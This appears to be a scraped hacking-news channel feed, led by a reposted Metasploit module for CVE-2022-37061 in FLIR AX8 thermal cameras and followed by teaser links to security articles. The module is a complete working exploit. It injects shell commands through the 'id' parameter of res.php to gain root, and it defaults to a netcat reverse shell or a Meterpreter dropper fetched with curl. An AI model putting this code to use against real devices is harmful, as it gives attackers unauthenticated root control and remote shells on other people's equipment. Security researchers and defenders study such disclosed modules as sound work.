Exploit Collector
FLIR AX8 1.46.16 Remote Command Injection

https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png All FLIR AX8 thermal sensor cameras versions up to and including 1.46.16 are vulnerable to remote command injection. This can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter in the res.php endpoint. This module uses the vulnerability to upload and execute payloads gaining root privileges.

SHA-256 | a321cd3e8960e684cbab1cd82bb0f9be0cda474af87c57e7f89fa9aaa83b6bcaDownload ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'FLIR AX8 unauthenticated RCE',
'Description' => %q{
All FLIR AX8 thermal sensor cameras versions up to and including 1.46.16 are vulnerable to Remote Command Injection.
This can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter
in the res.php endpoint.

This module uses the vulnerability to upload and execute payloads gaining root privileges.
},
'License' => MSF_LICENSE,
'Author' => [
'Thomas Knudsen (https://www.linkedin.com/in/thomasjknudsen)', # Security researcher
'Samy Younsi (https://www.linkedin.com/in/samy-younsi)', # Security researcher
'h00die-gr3y' # metasploit module
],
'References' => [
['CVE', '2022-37061'],
['PACKETSTORM', '168114'],
['URL', 'https://attackerkb.com/topics/UAZaDsQBfx/cve-2022-37061'],
],
'DisclosureDate' => '2022-08-19',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_ARMLE],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'curl', 'printf' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
end

def execute_command(cmd, _opts = {})
action_id = rand(1..40)
return send_request_cgi({
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'uri' => normalize_uri(target_uri.path, 'res.php'),
'vars_post' => {
'action' => 'alarm',
'id' => "#{action_id};#{cmd}"
}
})
rescue StandardError => e
elog("#{peer} - Communication error occurred: #{e.message}", error: e)
print_error("Communication error occurred: #{e.message}")
return nil
end

# Checking if the target is vulnerable by executing a randomized sleep to test the remote code execution
def check
print_status("Checking if #{peer} can be exploited!")
sleep_time = rand(5..10)
print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
res, elapsed_time = Rex::Stopwatch.elapsed_time do
execute_command("sleep #{sleep_time}")
end

return Exploit::CheckCode::Unknown('No response received from the target!') unless res

print_status("Elapsed time: #{elapsed_time} seconds.")
return CheckCode::Safe('Failed to test command injection.') unless elapsed_time >= sleep_time

CheckCode::Vulnerable('Successfully tested command injection.')
end

def exploit
case target['Type']
when :unix_cmd
print_status("Executing #{target.name} with #{payload.encoded}")
execute_command(payload.encoded)
when :linux_dropper
print_status("Executing #{target.name}")
execute_cmdstager
end
end
end Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

How 403 Forbidden Bypass got me NOKIA Hall Of Fame (HOF)
https://infosecwriteups.com/how-403-forbidden-bypass-got-me-nokia-hall-of-fame-hof-8acbd2c1c2c8?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello, amazing people and bug bounty hunters, This is JD ( Jaydeepsinh Thakor ) I hope you all are fine ❤, In this write-up, I would like…Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/how-403-forbidden-bypass-got-me-nokia-hall-of-fame-hof-8acbd2c1c2c8?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

The Complete Guide to PortSwigger Directory Traversal and How to Prevent It
https://infosecwriteups.com/the-complete-guide-to-portswigger-directory-traversal-and-how-to-prevent-it-f6309d5aec94?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

PortSwigger is a company that specializes in vulnerability research and development of security tools. It is a company which has been…Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/the-complete-guide-to-portswigger-directory-traversal-and-how-to-prevent-it-f6309d5aec94?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Snyk CTF-101 — SauerkrautWriteup

https://cdn-images-1.medium.com/max/600/1*aEoeJjgm08cMlbYt3oxpZw.png
~ In this article, I will cover the following:

Continue reading on System Weakness »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
BlackByte ransomware uses new data theft tool for double-extortion

https://cdn-images-1.medium.com/max/602/0*4BRaqzB3N1600rUZ.jpg
Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Is This the Most Critical Business Skill in the Next Decade?

Closed.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Complete Guide to PortSwigger Directory Traversal and How to Prevent It

https://cdn-images-1.medium.com/max/979/1*o5uWSqW2eo3On7kLbODF3g.png
PortSwigger is a company that specializes in vulnerability research and development of security tools. It is a company which has been…

Continue reading on InfoSec Write-ups »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What is Kerberoasting ? How to do it ?

https://cdn-images-1.medium.com/max/900/0*OiE5HYlJ-OUfqSDL
Before understanding Kerberoasting we need to be familiar with some Active Directory terms :

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What is ethical hacking?

https://cdn-images-1.medium.com/max/1170/1*OCVNtsDskViRoyQtogH4Pg.jpeg
What is an ethical hacker?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Tracking of an eagle over a 20 year period .

https://cdn-images-1.medium.com/max/602/0*2dcbmroW6rrQW5Wk
When a young man named Fahd from Jizan found a dead eagle on his walk , he did`t expect that the bird is not just an ordinary eagle on his…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video